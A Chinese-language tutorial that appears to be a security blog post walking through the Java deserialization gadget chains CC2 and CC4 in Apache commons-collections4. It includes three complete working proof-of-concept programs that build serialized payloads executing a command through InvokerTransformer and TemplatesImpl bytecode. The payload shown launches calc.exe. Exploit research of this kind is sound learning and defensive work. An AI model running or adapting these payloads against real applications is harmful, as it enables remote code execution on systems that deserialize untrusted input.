Java反序列化-CC2&CC4

image-20240406022459449

Commons-Collections做为 Java 集合的扩展,增加了很多功能各异的集合 和 Map,对于实现一些特殊的需求来说是很方便的。

可以看到之前的Commons-Collections3版本 <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId>以及停止在了2015,后面还在跟新的是commons-collections4<groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId>

他们的artifactId和groupId都不一样,commons-collections4不再认为是⼀个用来替换commons-collections的新版 本,而是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项目中。

image-20240405113905166

commons-collections4包的改动

添加依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

把cc6拿来看看,将所有 import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.*

摁住alt就可以整列添加

image-20240405121731615

看到飘红了,LazyMap.decorate 这个⽅法没了。image-20240405121754484

decorate是LazyMap构造函数的⼀个包装,在4中改了个名字叫 lazyMap

image-20240405121938736

运行后成功弹出计算器

image-20240405122401999

CommonsCollections2利用链

commons-collections这个包利用链多不仅是利用量大,还有原因是其中包含了⼀些可以执行任意⽅法的Transformer。

其中⽤到的两个关键类是:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

java.util.PriorityQueue

基于优先级堆的无界优先级队列。优先级队列的元素根据其自然顺序排序,或者由队列构建时提供的Comparator排序,具体取决于使用的是哪个构造函数。

添加到 PriorityQueue 队列里面的元素都经过了排序处理,默认按照自然顺序,也可以通过 Comparator 接口进行自定义排序。优先队列的作用是保证每次取出的元素都是队列中权值最小的。

你应该知道的 PriorityQueue ——深入浅出分析 PriorityQueue - 知乎 (zhihu.com)

他有自己的readObject() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

排序是靠将⼤的元素下移实现的。 siftDown() 是将节点下移的函数,comparator.compare() 用来比较两个元素大小 TransformingComparator 实现了 java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如 何进⾏⽐较。 siftDownUsingComparator() 中就使⽤这个接⼝的 compare() ⽅法⽐较树的节点。

org.apache.commons.collections4.comparators.TransformingComparator

有调用 transform() 方法的函数

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

这样就可以从PriorityQueue 到 TransformingComparator 构造利用链。

利用链

1
2
3
4
5
6
7
8
9
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

第一步创建Transformer来执行命令。

第二步创建⼀个TransformingComparator ,传⼊我们的Transformer

1
Comparator comparator = new TransformingComparator(transformerChain);

第三步实例化 PriorityQueue 对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较, 所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator:

1
2
3
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

传入的数值必须为非null

最后,将真正的恶意Transformer设置上

1
setFieldValue(transformerChain, "iTransformers", transformers);

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
Comparator comparator = new
TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}


image-20240405133356287

用TemplatesImpl进行改造

首先创建TemplatesImpl 对象

1
2
3
4
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

创建InvokerTransformer 对象,并⽤它实例化 Comparator (打CTF又可能用其他来实例化 Comparator):

1
2
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer)

接着向队列⾥添加的元素就是我们前⾯创建的 TemplatesImpl 对象,⽆法再使⽤Transformer数组,所以也就不能 ⽤ ConstantTransformer 来初始化变量,需要接受外部传⼊的变量。

1
2
3
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

最后⼀步,将 toString ⽅法改成恶意⽅法 newTransformer

1
setFieldValue(transformer, "iMethodName", "newTransformer");

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

setFieldValue(transformer, "iMethodName", "newTransformer");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
}

CommonsCollections4利用链

在CC3包装到ChainedTransformer时,再接上CC2中的PriorityQueue链。

TransformingComparator

这个类的compare方法调用了transformer方法可以进行执行命令

TransformingComparator

构造思路

  1. 创建Templates链
  2. 将templates包装成ChainedTransformer
  3. 创建一个TransformingComparator类,其this.transformer要为步骤二中的chain
  4. 创建一个PriorityQueue,其comparator为步骤三中的TransformingComparator

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4TransformingComparator {
public static void main(String[] args) throws Exception{

TemplatesImpl Templates = new TemplatesImpl();
setFieldValue(Templates,"_name","aaa");
//_name赋值,否则代码return中止
//private byte[][] _bytecodes = null;如果为null,报出异常;
//同时满足这个loader.defineClass(_bytecodes[i]);
//Class defineClass(final byte[] b) {
// return defineClass(null, b, 0, b.length);
// }
//一维数组满足defineClass参数从而命令执行
byte[] code = getTemplates();
//二维数组满足:
// private byte[][] _bytecodes = null;如果为null,报出异常;
//同时满足这个loader.defineClass(_bytecodes[i]);
byte[][] codes = {code};
setFieldValue(Templates,"_bytecodes", codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{Templates});
// instantiateTransformer.transform(TrAXFilter.class);//类不能序列化,class可以
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer

};

ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
//size长度要加2
/* priorityQueue.add(1);
priorityQueue.add(1);*/
//设置为2也可以
setFieldValue(priorityQueue,"size",2);
setFieldValue(transformingComparator,"transformer",chainedTransformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image-20240406015926603

总结

CC链就先告一段落了,其他利用链应该大同小异用的现学也来的及吧。看到一张图总结得很好

20230712235607-9d53d390-20cc-1

参考:

Java反序列化之CC调用链过程1-7探究详解 - 先知社区 (aliyun.com)

Java反序列化之CC4 | 沉铝汤的破站 (chenlvtang.top)